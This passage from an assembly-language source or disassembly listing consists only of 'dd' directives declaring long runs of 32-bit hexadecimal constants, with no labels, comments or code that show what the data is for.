		dd 378A0E2Ah, 0EEF1F400h, 0C73CF8A1h, 0E663005Eh, 600FAE6Dh
		dd 0DC123D7Dh, 4800DE01h, 4DA2E8FBh, 0B5B80B39h, 9803EA9Bh
		dd 0B6B0F737h, 0D701A19Ah, 947D34A0h, 4424D517h, 0EDE91D08h
		dd 183E3F11h, 0DD017D58h, 0DB1C166Eh, 7A48207Bh, 8D24BB07h
		dd 0D200201Dh, 1F028CB2h, 917850h, 869DA311h, 5C0E7B45h
		dd 4514610Ch, 0ED0B3A6Dh, 591480B4h, 49DC064Eh,	0A5107426h
		dd 0FD4B0083h, 389CD507h, 0C2A3007Eh, 4EDC4845h, 4F094D50h
		dd 81EA5E7Dh, 4270087Eh, 3185CCh, 0F36B2E53h, 6E0441C7h
		dd 0C43BD8B8h, 2700F860h, 163448EAh, 0AE186Ah, 51F547B9h
		dd 0EC1B587Dh, 26DD7807h, 0E887F922h, 55AD3C0h,	91940331h
		dd 0EFA099F2h, 0D4BB78C0h, 2983C200h, 4C23D25Ah, 0DA2D388Dh
		dd 8BAC9C80h, 8FEFCF6Ah, 0B60024E4h, 68FF991Bh,	0AEC132h
		dd 0AA4C0347h, 0C38EFA8Ah, 5304561Fh, 60512D8Fh, 18642971h
		dd 3CF5004Eh, 6886CF0Dh, 0BD012B43h, 0E03A3EADh, 0F6D43769h
		dd 95A90083h, 0F33D7806h, 0AC0086F5h, 0F7507E7h, 3A86DA0h
		dd 51D79CAEh, 6CC804D6h, 0E203EDFDh, 0AA340682h, 0C790D0BBh
		dd 0C0A010Bh, 65731692h, 6827C083h, 30C05F00h, 0A810E595h
		dd 600B17A7h, 9EF000A9h, 83075BF6h, 2B136609h, 0CA040075h
		dd 754B15B4h, 3A0F12B2h, 0EBFA0073h, 3F358F1Bh,	0CC82F506h
		dd 70AAB3h, 272AC6B4h, 0AB203D66h, 1C007374h, 3837B6FDh
		dd 3EEA732h, 0F7014E45h, 0F4A0A57Ah, 6D00FEDCh,	0F20A0C04h
		dd 0C8720Bh, 7DDBCD0Eh,	74669B8Ah, 825B3300h, 71F5CB62h
		dd 0CEF0FBEh, 8067107Ah
		dd 7D2670BDh, 0E401A08Ch, 0D6646CEEh, 0ECE8CE0Eh, 0DFA40137h
		dd 413932A7h, 6B007FFDh, 1AE09727h, 705000CAh, 0BD137CECh
		dd 0C8A02AEBh, 401E9A6h, 0DAF63F72h, 4ED0516Bh,	0EAA50780h
		dd 0D034AEDDh, 98B77D4Bh, 36C0750Fh, 9E8CE025h,	0AE3884Dh
		dd 9A6ADEE5h, 147839D4h, 90C56FF8h, 6459E400h, 0A5F072ADh
		dd 0F50EC100h, 87DE5E14h, 7ADB00EDh, 0C85C3CA8h, 0F7D55BFh
		dd 5153EF00h, 4EBCD017h, 0AF7A0157h, 24924358h,	0B760F8D2h
		dd 80716A3Eh, 62C6C53Ah, 59B7B9Dh, 0FC25BDDh, 0D58802EFh
		dd 0E880762Ch, 85732A4Dh, 0E66DD301h, 5F504F79h, 0CB5592E8h
		dd 0EA009C20h, 0A7BED7AEh, 0CBDE300Bh, 58688036h, 0E2B60460h
		dd 77980068h, 0A1DDECC4h, 9900AF88h, 2AAC4906h,	383CFBF1h
		dd 77002772h, 21CA41BCh, 510BC43Ah, 61CFFE66h, 0D47168B4h
		dd 0FE04EEC8h, 7DA0F76h, 65C00CCCh, 2292CBBEh, 0F2337500h
		dd 7B702DDBh, 8E132C1Eh, 0F4CF0180h, 701B5761h,	0B43CD58Ch
		dd 0F3069863h, 76B8021h, 0A964BE61h, 0D519D020h, 1CEC6C7Eh
		dd 80C47401h, 6F5990A7h, 0F730EFF0h, 69F7048Bh,	0D79B04C3h
		dd 0DE291AE0h, 0E80CDEB0h, 9027C590h, 759F7B88h, 1DEE001Ch
		dd 9AB01F34h, 0CC44F77Dh, 13610056h, 62EF7B07h,	2A00C067h
		dd 200EF978h, 58DDA6h, 5F75DB9Fh, 99712C36h, 50EA95Ch
		dd 0ACD14595h, 0E6259080h, 54EEFA5Fh, 4B8463h, 0A7670976h
		dd 8820FCBCh, 500038F8h, 0BD0F2EAFh, 3DBB61A5h,	998090C2h
		dd 873B68C9h, 7E040991h, 0AE4A1267h, 0BCD3C0C0h, 0EB79C6h
		dd 0B75CA8AFh, 0B14085DDh, 4B417200h, 1D28EA73h, 21AF0C8Ah
		dd 20BEFEB5h, 81094400h, 0B631F28Fh, 0E13E001Eh, 597C7479h
		dd 0DB005DFFh, 0F002C2E6h, 0F6B84E7h, 0B3C91A49h, 778EAB22h
		dd 0CDF715C0h, 618A4F00h, 241DFC47h, 0FD1A3DC8h, 0A0A73181h
		dd 0F4754AF9h, 0AA905484h, 3DFB010Eh, 99E140CEh, 0E668DE89h
		dd 4820EB5Eh, 58BF00DFh, 0A0FB458Dh, 0D2002C29h, 0C99813ECh
		dd 0C478CCh, 0E6C7244Eh, 70ABA08Dh, 0A9920100h,	3BF509EDh
		dd 0A1861633h, 8534009Bh, 0E0B15D69h, 1316BC00h, 0B4A26B53h
		dd 0B6902Bh, 0C09B6004h, 0CDC6D014h, 0EF0CDC03h, 0E8B9AAC2h
		dd 953F8Ah, 2673A0FAh, 867217B6h, 3C157D00h, 0C9483B9Bh
		dd 0F3CF00A5h, 492188BAh, 2F00182Dh, 0DBC12A08h, 2B73B0h
		dd 0A82919D3h, 8B05461Ah, 430A9600h, 0B848476Bh, 348C00C2h
		dd 3DF7992Dh, 0E17DD3D7h, 0E7B0F6ECh, 2BC1C500h, 0E9CC4B18h
		dd 0F8C300D9h, 5631EB2Fh, 3300B06Fh, 0C6738903h, 0EB3BF9Bh
		dd 48F0D1FAh, 45601BAEh, 0BBB48662h, 6737631Fh,	23C2C347h
		dd 32BF3060h, 0F4D22722h, 12900C20h, 4405526Eh,	0EB7264E8h
		dd 2F52CB4h, 0F774226Bh, 0FA40B906h, 0AB024475h, 0AA8CE662h
		dd 35FDA152h, 0B3D878D1h, 25560050h, 5E0AC1A7h,	0D7072214h
		dd 0B5FF795Bh, 0BEE30630h, 0E5C600A9h, 25072A4Fh, 7250405Eh
		dd 857D2E10h, 0F9C4D601h, 0D89EF02Ch, 7BA23370h, 509D00A0h
		dd 0D4427BE0h, 1F2EDB16h, 3F007017h, 8377618Bh,	0FC0F1705h
		dd 0B3A3005Bh, 0BF543EE2h, 0A3C65F00h, 3AEC32DAh, 74AF032Ch
		dd 0E22F9A22h, 0BCAC7800h, 0E4F9368Bh, 3F0900C9h, 0B0D5E3C0h
		dd 2300A103h, 4917C01h,	515A63h, 652CF775h, 69EC12E9h
		dd 1D3D409h, 8BA5005Bh,	0E0785A8h, 0F45D22EDh, 0C55AB00h
		dd 32006326h, 0CEC5B6F8h, 18BD8884h, 8A8A0D77h,	0A2009565h
		dd 6232435Fh, 27C0F8h, 531089C3h, 87EC5AD6h, 0FB604D05h
		dd 0BB8084C9h, 732D5869h, 33200008h, 50DE42F5h,	8D00CE46h
		dd 877FA931h, 8CDF56h, 3C01D7Ch, 0D8429CE2h, 72F7D000h
		dd 9DF0A214h, 0BE0F003Bh, 0B2EE4613h, 0BB0067ADh, 62B76A5Ch
		dd 1A35ECh, 61985716h, 888A810Dh, 50AA8209h, 37E0001h
		dd 24182Ah, 3EBB79F9h, 292D8906h, 77C50E00h, 15A4A9D7h
		dd 229C00E1h, 0FE815F92h, 0AF0347A1h, 0D19DA271h, 0C87EB04Ah
		dd 0E785C48h, 0AD531200h, 0F56A18E5h, 92314B00h, 469A8563h
		dd 0C70A0F28h, 29A04183h, 1B257019h, 23751801h,	0DC9E0FAh
		dd 1D3AD5E4h, 1E8FD7h, 0FCA51DEAh, 0A8B81924h, 0DC5E3000h
		dd 918A83F2h, 97FB001Ch, 3DB75DDEh, 467BE5E7h, 0AE506100h
		dd 0CF26F716h, 0BF4A0035h, 0E969EBCh, 13002A24h, 7A151ECh
		dd 0E53A27E5h, 60A390F8h, 0EC4221BDh, 9F002C70h, 17B2223Fh
		dd 0F0B47Eh, 0AD7FD811h, 0F878FB9Dh, 0DF08EF00h, 613D8A34h
		dd 8746013Fh, 0CA42A29Eh, 47388053h, 0C5842F59h, 72A000C3h
		dd 0A9CD5B8h, 3616A3A5h, 0FE18AB2Ah, 1EEAAE40h,	0C023B769h
		dd 366317EFh, 0B8037C7Fh, 8E78F828h, 0FB28004Ch, 0C1077B6h
		dd 0E900F17Dh, 0B06A293h, 3BDC184Ah, 33004B9Eh,	8B1D1EC8h
		dd 0FE00A03Dh, 9FA81099h, 5C79348h, 8DC683C0h, 8AC90B8h
		dd 431FEF55h, 7382CD71h, 0C01F8CB2h, 24DDF506h,	0A66878h
		dd 0C5C65D8Dh, 789CD3DEh, 406E00Bh, 3480FB81h, 166F52h
		dd 317E3B99h, 3EF635D2h, 0E8BCBD00h, 6C4539C4h,	81FB00CCh
		dd 60F7CA63h, 0A1E496Eh, 0C100D89Ch, 1EA8B388h,	44B8AFh
		dd 41A48910h, 0BD74A69h, 873C0EE8h, 8D30802Fh, 819539Dh
		dd 4D961718h, 0D0304043h, 745520ADh, 0E7850600h, 837AF0DBh
		dd 0EC6D1893h, 0E1DD9482h, 90771300h, 437EB729h, 0DB550FCFh
		dd 2CE001ADh, 0D3385E88h, 0E700697Bh, 0D481C32Eh, 773943h
		dd 0C06692E0h, 0E8EAA1F6h, 0B02558h, 9A783561h,	3D1063h
		dd 0A0AC4ABEh, 7C154502h, 9FC2F600h, 0D4A8DBCEh, 0AD5F00D7h
		dd 8BFEE9E2h, 860C1C72h, 58FF88FDh, 0F809620Bh,	0E5F0AA5h
		dd 0D578403Dh, 7C7F886Ah, 2A2000F3h, 0B7C3ED97h, 0E9015F4Eh
		dd 0F9CE8B06h, 11965072h, 3EC90CAh, 4300EBE4h, 0C902CCD8h
		dd 9B1921h, 0F4CAECB2h,	5D37110h, 0C6066403h, 0C8B63020h
		dd 1DBA5F70h, 0C475F6C1h, 0EE4C7DE0h, 86E58C00h, 343B8B9h
		dd 8FDE3EC5h, 1A8A8CFh,	6F0089E0h, 1EFB4225h, 7370879h
		dd 0B0F34B2Bh, 24D3D105h, 9C51F41Dh, 0EB78EA00h, 0CC31E70Fh
		dd 3490DFh, 59555C20h, 414E8EB4h, 667C7000h, 1DD0B3C6h
		dd 0EE300114h, 18E86A42h, 0EC7D72h, 5F0D58ACh, 12682734h
		dd 1002A557h, 78008568h, 0DAAC83D4h, 4C3A9AC5h,	1956802Eh
		dd 4D99C2DBh, 90B10129h, 70E4F549h, 38A4C543h, 0A0D500D4h
		dd 0EDA6F034h, 3B790083h, 77E88654h, 0BDE0FBC4h, 8C6B850Ch
		dd 0CFA0CEh, 0E17BEA92h, 10214705h, 74C2648h, 0C3CB698Ch
		dd 0B1076410h, 9CEF006Dh, 1E356EBEh, 1AE2715Eh,	80214B00h
		dd 24472F2Bh, 0ACAA045Ah, 0C0E81EDDh, 5CEEA03Dh, 17660900h
		dd 42ADC741h, 0A7B90011h, 0DE07A89Bh, 0CCFA6577h, 137146EAh
		dd 80BCD23Fh, 3479FD49h, 88BE3Bh, 93DE70FAh, 0DC1FEB47h
		dd 0BAADBC00h, 1BFDD0BDh, 0EF5F0472h, 80CB71B5h, 0F26264CDh
		dd 6C07B87Ch, 0E2153408h, 0F1605AA0h, 0D68B0018h, 616967F3h
		dd 10C016F0h, 0F4E4D2DAh, 0A0B019Fh, 0AD6A9630h, 5E8DF072h
		dd 8792FD38h, 0E3D57A16h, 0C0B74040h, 3C4513A6h, 6E140312h
		dd 7F988FD9h, 0C9001FBFh, 0BC75852Fh, 0EAC46Bh,	7DFB826Fh
		dd 18216A70h, 9418BF60h, 9E4293h, 22DDA795h, 0F5EFA4C6h
		dd 31622405h, 0D093D0F9h, 0D0204D94h, 0D80E6E00h, 24804A8Bh
		dd 13E03507h, 763037B4h, 36AC278h, 8C65E194h, 0B7D083E3h
		dd 2316BAA7h, 62001647h
		dd 84014630h, 0BE480061h, 0B320ECC7h, 0E0042ABh, 55E495Dh
		dd 1D378ABCh, 0C167083Bh, 9E6BAACh, 42A5DCC5h, 0AA003E7Bh
		dd 62E3FB1Fh, 3E78EB77h, 0AB3A72DAh, 5D4813h, 3F805147h
		dd 1604F8E8h, 0C52374EFh, 1CAD0F4h, 48FE7028h, 0C40ADC58h
		dd 450321D4h, 65055F2Ah, 23D1B066h, 814D039Ah, 0DB74685Eh
		dd 0E6B02800h, 0A9F0166Ah, 0CDB33BEEh, 0F3BC9E00h, 13446850h
		dd 0C880E00h, 6067EF9Bh, 0ECAC00E5h, 3765FF12h,	0A001ACDh
		dd 49EADB6Dh, 0CF924Eh,	0D50816E0h, 3A86E382h, 340AE500h
		dd 667FDE1Dh, 8AE6B0h, 9BBB7818h, 99D8A29Fh, 57B0F00h
		dd 0F9605FD3h, 0DD2B0053h, 3169B8B3h, 0EE028A5Dh, 17A7EDC4h
		dd 608C095h, 501500A1h,	26DC384Fh, 0A501478Dh, 179DEA67h
		dd 0FBF0EC2Ch, 2AD10075h, 0A7034DF0h, 7924DA9Ah, 0F3B989Ch
		dd 0C08F323Ah, 82AA92C0h, 3DA31873h, 1DB98060h,	488AA01Dh
		dd 0BE950140h, 182D278Eh, 907B9082h, 312972F5h,	4001026h
		dd 0E5A584E6h, 25820061h, 0C2EEF6DFh, 7F050556h, 0E217C552h
		dd 0A86AABC3h, 50E6E1h,	9DC310ACh, 41DFB99Ah, 0E3268CB0h
		dd 9E07B382h, 8DC3AB1Dh, 0F69A035h, 2BB43AA8h, 6CB423Fh
		dd 6E9A670h, 3CDF1A00h,	98208DCDh, 0A434016Dh, 596EAB51h
		dd 1127CF54h, 0F8CC00EAh, 60861D2Eh, 0B548E8BBh, 0F9005DAEh
		dd 514DEEFAh, 7A58C418h, 82690E96h, 0FF023B88h,	9240ADA2h
		dd 0F7F47B4Eh, 0AB268EEAh, 66031CD9h, 873344A9h, 122D1A61h
		dd 0DC5CEAh, 0F4641DAAh, 3C0E8FFEh, 0C135DE78h,	0CA406A76h
		dd 25DD80DEh, 2B1E26h, 6EDDEEE0h, 0BA2FB8AEh, 0A4261C98h
		dd 0A7168319h, 0B640EC5Eh, 95DA14C0h, 485B00E0h, 0BF89EB6Fh
		dd 0CF71B4B7h, 0CC19C9B8h, 0BC0ED10Ah, 0B6B3F8EBh, 6C251CA5h
		dd 74CAC433h, 1DCAC6Dh,	52C66388h, 2180E770h, 0C3070F66h
		dd 0E300D0B5h, 5E13F33Eh, 5988183h, 6E6D499Ch, 0F4F584F7h
		dd 4D39AEB4h, 0EC069637h, 40C4F90Eh, 66F53D5Fh,	0BE3C00A6h
		dd 6F705AB3h, 0A3F11D9h, 26939C60h, 391B7700h, 35D98CAh
		dd 6A80B0F4h, 0CE7D5A7Ah, 0EEDA0C00h, 9237439Eh, 118095B6h
		dd 290A8CA9h, 88A3642Eh, 489A803Dh, 3CC0D432h, 0A523004Fh
		dd 0B8DAADF9h, 0BA0053F5h, 0EFD6BC21h, 7B772F1Ch, 3E6A0080h
		dd 23766EE7h, 0C114704Dh, 0B05837h, 0D46FA1EDh,	0E906E2h
		dd 7321AD85h, 83E1C89Dh, 3990B00h, 0DEAB14CFh, 52D73A2h
		dd 2F50A0F6h, 50A5C7A7h, 21E3BD61h, 0EAA4C900h,	3D11834Ch
		dd 2D66007Ah, 3F931CF4h, 1A27F1D8h, 12C08096h, 0E4C4E041h
		dd 5AE30146h, 0A6848908h, 0FB5EE1F1h, 87DA983Eh, 0D9C4BAAEh
		dd 0A6D4CB70h, 9F3700E8h, 0A0FC9940h, 0B2008026h, 72AEE4FBh
		dd 7AA517E7h, 0C08B0284h, 0DE3B92BEh, 963A34D2h, 0CD2E92FBh
		dd 0E0C27483h, 70FC1558h, 76DF01CFh, 0C6707CBCh, 0DBB3F87Ah
		dd 0D69E2F09h, 917040FBh, 4BB90075h, 0DF9FA6AEh, 2D00D745h
		dd 49FEAB44h, 0E40B58Dh, 15B0BD9Dh, 80D62745h, 0EE11A603h
		dd 39CDC600h, 0A0CCDD17h, 8C74845h, 0FB3A8D00h,	0CF688AEDh
		dd 3DC27B07h, 45104ACAh, 1CDB1E69h, 0F4951C06h,	84A8ACB0h
		dd 3C80DA68h, 0F6F9134Ch, 9D2709FAh, 6C00CA1Dh,	0BDD33012h
		dd 0D20E0AE0h, 962C64A9h, 4FD73AC7h, 1F5C9280h,	2DD40087h
		dd 53A9C91Bh, 9C944A65h, 3DA5AA00h, 97D73061h, 0E63A5C96h
		dd 0EAC057Ch, 0D401541Dh, 0D9A6FBA2h, 0F5742C2Fh, 0D06E7F06h
		dd 4611623h, 9448898Ah,	20048024h, 0C8E47D80h, 54773C03h
		dd 0E87CA893h, 3F37B8ABh, 80D4EC8Dh, 0D18200E4h, 0A7202BF6h
		dd 7F3D4BE8h, 0A24005Dh, 2E5C2686h, 21E4072Ah, 66A779CCh
		dd 9E002875h, 0BA043C70h, 2572F4F5h, 0B84B29AEh, 9AA145E8h
		dd 57110C01h, 1D460A8Ah, 95C29881h, 80A93099h, 84212711h
		dd 3CD09E3Eh, 3D804297h, 13C1926Ch, 9500F731h, 0DD5C7A3Ch
		dd 14B6321h, 0A76D81E8h, 326A72F1h, 1B371DBCh, 112EB340h
		dd 0F4C2BBFh, 9B0D1F75h, 0C5574E60h, 900B0594h,	843749FBh
		dd 0FCE9E6F4h, 4B3941DFh, 0CEF5D456h, 0E6049058h, 0DC74C470h
		dd 0B062CE9h, 80A6C531h, 0E383650Eh, 4D1A8104h,	9CFCD1F5h
		dd 0CF0E0792h, 2D760C6h, 5840A6B7h, 0A058D62h, 0D9431393h
		dd 0EEFB1BC0h, 9DAC00C9h, 0FFC79F09h, 0BC27AA0Eh, 732C063Dh
		dd 0FE9B0498h, 0C01B530Bh, 0B6CEEBA8h, 1488C48h, 666F292Bh
		dd 183117FBh, 0F2D5820h, 30D31413h, 2B8A1FC0h, 0FB7B2635h
		dd 9BCF4514h, 337400F5h, 5CA38E04h, 691C3984h, 6BB57A02h
		dd 21C03FBAh, 0C0074AB1h, 0ADCC5480h, 272BB011h, 90D3CBFDh
		dd 0F00F05h, 5162645Fh,	96CCE465h, 23331505h, 2A80459Eh
		dd 0FAD349AFh, 63A2060Bh, 0C03B3626h, 0E7A1000h, 0D5E50FC6h
		dd 4AC8C0ACh, 0B779BAC8h, 141A3400h, 0C7B8C95Eh, 967F0790h
		dd 7015C0ABh, 0A5CCB3F8h, 0DE744513h, 3505A000h, 968150FFh
		dd 39F305F0h, 5770E078h, 90002B7Bh, 0C1CC5B30h,	5DC568h
		dd 3B064203h, 0A16B462h, 0AC47DE2Ch, 1AEAAB03h,	1839D02Fh
		dd 0B6690030h, 0DB595142h, 2CEA4B97h, 5F98CD00h, 963839DEh
		dd 0EEE6000Fh, 18B5725Bh, 7026249Bh, 659680ABh,	23281002h
		dd 0F20860C2h, 0B8B2C7h, 0EDEBCE7Ch, 94F87579h,	46CDA506h
		dd 21A291h, 42A82BD3h, 7E393280h, 0D88C3103h, 80892D79h
		dd 721834h, 298FBB0h, 0E53B2365h, 60F56300h, 11615D1Ah
		dd 80BD5BA1h, 64ED92A4h, 28B9DF00h, 25181C3Bh, 44E5C34h
		dd 446E7001h, 0ECEFD484h, 5F00B924h, 0F648401Ah, 11CB87h
		dd 375E2067h, 0EF45C6A5h, 0BB95FD12h, 2E4818C0h, 58DC0FC9h
		dd 22018F0Eh, 214DDDA6h, 4EA030ADh, 745F2805h, 48809EC9h
		dd 2EC8A161h, 1D7BF7AFh, 0C495CB98h, 0AAC1F4C0h, 59230C07h
		dd 5E00A10h, 7A22267h, 47BD911h, 9FA3FE38h, 1FB0E30Eh
		dd 9741255h, 0BB6E9900h, 6FAFDB5Dh, 15FF0188h, 0A55358D0h
		dd 0F01880C4h, 7E4BA28h, 54250184h, 73039517h, 562D40Ch
		dd 0D194E00h, 64EBC8BAh, 0F4F7F0Eh, 0CA7AE0A1h,	0A05CAB87h
		dd 0C2609C3Bh, 7CDE9701h, 65FFACC1h, 9805E8C8h,	0EBAA3CF2h
		dd 0E7E10831h, 0A612EC9Dh, 0D8F11D00h, 32DCE262h, 0BE3B00F5h
		dd 7488AD05h, 0BA7F6628h, 0E3ED9C03h, 6421D7h, 2F40B2B0h
		dd 0E1CB82C8h, 3D9B75Ch, 9FC6B413h, 0DFC2E00Fh,	49923039h
		dd 0FB81C1CAh, 41E9EC00h, 2F7435F1h, 0EDB1134Ch, 0DF5C0291h
		dd 5360645Ch, 0CA789718h, 58B33800h, 0C5981A09h, 0BE3500E0h
		dd 0C38BD1ADh, 0D30F62BDh, 7B5399h, 0E1D811F1h,	0B7D3F7Ah
		dd 20F0E600h, 0DB62508Ch, 97601700h, 8626B3A6h,	74440054h
		dd 0A81B4064h, 0EB2C7820h, 228248ADh, 602F49C0h, 3AE159h
		dd 8B6208F3h, 5F9E95D8h, 68A20700h, 0BE66D4Dh, 94E54CAAh
		dd 94333700h, 3147CEA1h, 48008274h, 116F16ECh, 15336F0h
		dd 0BDA25101h, 3434DEB3h, 0FCB0ADD4h, 4D588F0Fh, 987A837Ch
		dd 408ACAA2h, 1F9E964h,	136E21FBh, 0F8D3A4CFh, 7C7676CDh
		dd 1658E301h, 0EC1956BDh, 0EEA99460h, 4BAFE6B5h, 1374C09Eh
		dd 8C3BE47Ah, 0FFF6877Ch, 2FD02BA8h, 296452Ch, 39339ABAh
		dd 0FC60067Fh, 8807DADCh, 91C7930Eh, 8CA37290h,	0EEA60057h
		dd 1EA19EE6h, 0E2000169h, 0E10267BFh, 4DC8285h,	10B9C289h
		dd 808D0E1Ch, 766256A4h, 7109AEFh, 0B71E746Ah, 0C85029B3h
		dd 0D3F20CE0h, 9819FB07h
		dd 867073BAh, 1E6AF3F5h, 0C188DF5Ah, 8D6C3179h,	321E70D7h
		dd 0BB34F600h, 0B47C4FC5h, 0E9640760h, 0A056F17Eh, 93653108h
		dd 41494500h, 90DA89B1h, 0DF800227h, 0AE92C286h, 0B59AB880h
		dd 5900BC75h, 0D9B71B3Dh, 12115DF9h, 40481FA7h,	132F8500h
		dd 0AE3AC74Ah, 5A2380DDh, 0C33225ECh, 54FB0079h, 0C10B52D7h
		dd 606D9B3h, 28451169h,	0B6B402D8h, 9B8A499Fh, 70824055h
		dd 220703C0h, 1EA2EAB3h, 301A71F1h, 1B5E31E2h, 40CD6082h
		dd 286814Ch, 7DBB7546h,	0DC745FE6h, 0C407A100h,	0F6BE327h
		dd 4CEA9322h, 0A0888772h, 0B4311518h, 54FC5E01h, 39017A52h
		dd 8F3474h, 612A4216h, 0E4FB3AB5h, 48368D1Eh, 53E1DB40h
		dd 95CFEC05h, 9EE75480h, 0D8A8BFA8h, 8877E534h,	54379224h
		dd 84826F92h, 0E27056E7h, 34E8AF93h, 27028032h,	29F8FB0Ah
		dd 0C578E0D1h, 0C9214h,	5D73BFB4h, 33AAC0BAh, 7157FF00h
		dd 7A3D2898h, 1E0D7B65h, 43891A3Bh, 0C185E6C4h,	99CF5CE8h
		dd 0C66A4E03h, 0C8BE9450h, 2ADEA3A4h, 0D81A72h,	0DAAB04AFh
		dd 0BBCD2FF8h, 0A97E373Bh, 4991B448h, 0D726CE07h, 0C11BA732h
		dd 748B8579h, 60155194h, 80F373h, 0D23A4CAFh, 0FE5A22h
		dd 61206325h, 13C935Fh,	68C0F012h, 0A6868403h, 839198E8h
		dd 431F002Eh, 65887631h, 0E1010DB3h, 0B8804E4Bh, 2E4FC28h
		dd 0FD8C721Bh, 9454B864h, 0A30258A8h, 7052B731h, 0EFC03F8Ch
		dd 9C9F4954h, 0E0054206h, 4607A9C9h, 9630F960h,	2D60B00h
		dd 7F620067h, 9FE5A19Ch, 0F900FED7h, 7217F24Ah,	75FAF0ADh
		dd 586A006Fh, 1E7F55D5h, 0D7593141h, 5CA200A8h,	5FB43CADh
		dd 27E50042h, 2B5EDB93h, 0C0B88D33h, 0E8BD1207h, 0CAD09014h
		dd 172586F1h, 0D77EC6h,	68E15BB8h, 2D00235Ah, 7045EB0Ch
		dd 0E072AE1Ch, 0E0F84938h, 0C1BA0118h, 0A11DD3E8h, 7397EF88h
		dd 0A44088C5h, 0E3F6B0C6h, 81DE4EBCh, 0EC97C870h, 967617F1h
		dd 279B2200h, 8D5F7872h, 53F9091h, 6D02435Eh, 6352809Ah
		dd 0C1164845h, 0ECF6h, 6B32E4BEh, 7EA20BA6h, 0F8C056E0h
		dd 33A3F9Ah, 265E8053h,	10DEC194h, 0BE0D0011h, 36EC75F1h
		dd 0BCB86FA8h, 0E093C200h, 7AE56ECDh, 0B40900EBh, 1E07E698h
		dd 497A3999h, 31B2A81Eh, 0AF0A0C40h, 4E6813h, 0C1E4A73Ah
		dd 0C5648DA6h, 48BCE124h, 535A0200h, 733487h, 0DD1C04C4h
		dd 557B0830h, 0AB4AF002h, 487F8578h, 1CB6FD10h,	71F73039h
		dd 60A76841h, 0A67D9668h, 0C600B492h, 615CFF31h, 3EC5F3B8h
		dd 0D1805B13h, 0E07B45C3h, 972EDD12h, 5034909h,	0FFF671B8h
		dd 0DA479F40h, 247801E0h, 0A2C47A63h, 0C006A9Ah, 0EB59D40Bh
		dd 67FD00B2h, 5650FF0Ch, 0CB0B86CAh, 500EA7BCh,	7F4B0048h
		dd 842455BDh, 96004AFAh, 83F1E72Ah, 225E3Ah, 81698CAh
		dd 8D957FC6h, 929C8200h, 61B3CFEEh, 1D203AFAh, 18CBBA00h
		dd 0F499961Eh, 21AB3200h, 0F3400DA8h, 4D3F00F9h, 0D6834472h
		dd 0B13BD747h, 9801F4ACh, 26DB076Ah, 0E9D93791h, 1D47F760h
		dd 0CB432868h, 0ACC00A0Fh, 5B005299h, 0A876D3C0h, 18493036h
		dd 1C1D265Fh, 0DE008E25h, 7955D894h, 1C7BF7D2h,	0C1764C7Ah
		dd 43EDF454h, 3B3E10h, 280C0EC4h, 15210384h, 0C8403117h
		dd 60C008A2h, 0C3504EC0h, 5109A5D3h, 80D19F0Bh,	5B62AC1Bh
		dd 0DE661264h, 0D31C00BCh, 0D9B19870h, 0F6568500h, 0B4934C1Eh
		dd 3FD600E0h, 42B8BD50h, 0B001C425h, 14482468h,	2F60DB0Ah
		dd 2D57077Dh, 0DE81F92Ch, 7F20CEC0h, 20C791Fh, 908CC455h
		dd 34FE0980h, 0B4A46C96h, 9DCF6D1h, 0E0FCE74Dh,	387186F4h
		dd 0D280B6D3h, 2F2C1D02h, 350091B8h, 2E0B64CCh,	69AFAAh
		dd 744FDFC0h, 7302940Dh, 0F49A032Eh, 0AA24A800h, 3D88F18h
		dd 0A10214Fh, 0ADC011C4h, 55004217h, 6A51EAF5h,	0FC6C652Fh
		dd 0BC0A25ACh, 38C60C20h, 21C154Ah, 65802584h, 2CFBFD04h
		dd 4E78F4CEh, 0C4F01D8Ah, 0E43A01C9h, 0AFF01CD0h, 85404112h
		dd 628A7CD0h, 7D750033h, 160E63D1h, 0F3006ABAh,	0A7AEC594h
		dd 60ABFDD0h, 41395028h, 0BA00E325h, 6CC16285h,	0A3E183A6h
		dd 65187C5h, 0C4700CFFh, 37960E73h, 8E20F54Fh, 0EFD4996Dh
		dd 76301900h, 58837EB3h, 9C5D0007h, 77EC2936h, 4A3BA825h
		dd 0A7E307EBh, 0C4A0C399h, 63B50A9Eh, 4CB4C4BFh, 0ECD5EAC1h
		dd 0D102E137h, 0E4EE38BEh, 5C437FA2h, 8A1A4190h, 0C4839CB9h
		dd 0F8312067h, 14BA7FD7h, 0F0BFE89Fh, 0A66E4C02h, 0E48E93A8h
		dd 0DA1D68Ch, 54052C71h, 0F604B082h, 0C64094A1h, 2C3C6FDAh
		dd 8B64C796h, 0D203BB68h, 0C3E1D13Bh, 404A7078h, 0E93898F2h
		dd 539E80BCh, 55E26216h, 0E492021Bh, 6FF2D6A9h,	0F34CA8E4h
		dd 0DCEE0BACh, 80146589h, 0A0AD996Eh, 0DF00424Dh, 0EC21B17Ch
		dd 5336B5Ch, 0DAFA7A73h, 0EE14D908h, 4B5FA81Bh,	17ECEA4Ah
		dd 25711641h, 0B3D8C780h, 0D5BB948Eh, 0DD83DCB8h, 498CC30Bh
		dd 1D6440A1h, 0B0F5A193h, 0C0B85DF4h, 67F520F9h, 0E1A17FCh
		dd 4B8B988h, 1B4FC88Ch,	40E27F07h, 721530CCh, 0B6C9B70Dh
		dd 74CCB464h, 36F90024h, 0ED08E8A7h, 0F0059715h, 5BF53B54h
		dd 0BBE52CD0h, 3816009Fh, 0C693055Eh, 6E742CCEh, 0BCB64005h
		dd 44A04A4Dh, 0C1880768h, 9D46EB8Bh, 0D020D4B9h, 73B3A61Fh
		dd 53FFE5C2h, 497849CDh, 0F51E343Ch, 0B62ED0h, 0D8386222h
		dd 31039583h, 0CF2DA164h, 5C80B7A9h, 3D412AEh, 4063505Dh
		dd 4801A37Bh, 22881E05h, 6464C178h, 68D0C073h, 177BF592h
		dd 52830B02h, 4024A0B9h, 7D3C382Bh, 0A6852578h,	8018D418h
		dd 77C3559h, 26AE66B3h,	0CB971A40h, 0AD040921h,	300A6320h
		dd 0A013E010h, 50FA89BCh, 34A99500h, 7A25C89Ch,	0F6F9004Fh
		dd 8FF4876Bh, 5E01D635h, 0BD3A397h, 0A2D498CCh,	0BC4D5818h
		dd 3D968102h, 0F9031B6Dh, 678AC880h, 44AF9FA0h,	0F8B556C5h
		dd 702F00D8h, 509C925Ch, 0DCA5287Fh, 0E3B1029Ch, 91F16FADh
		dd 0C92F904Eh, 61280052h, 0B0A377E5h, 94042E1Fh, 1B6700E0h
		dd 9FBD6579h, 91356200h, 0FED65C93h, 9B440024h,	0FFB5D3E5h
		dd 0AC609DEEh, 0EF802180h, 4C6F1CCAh, 1FCD00C7h, 0AE313263h
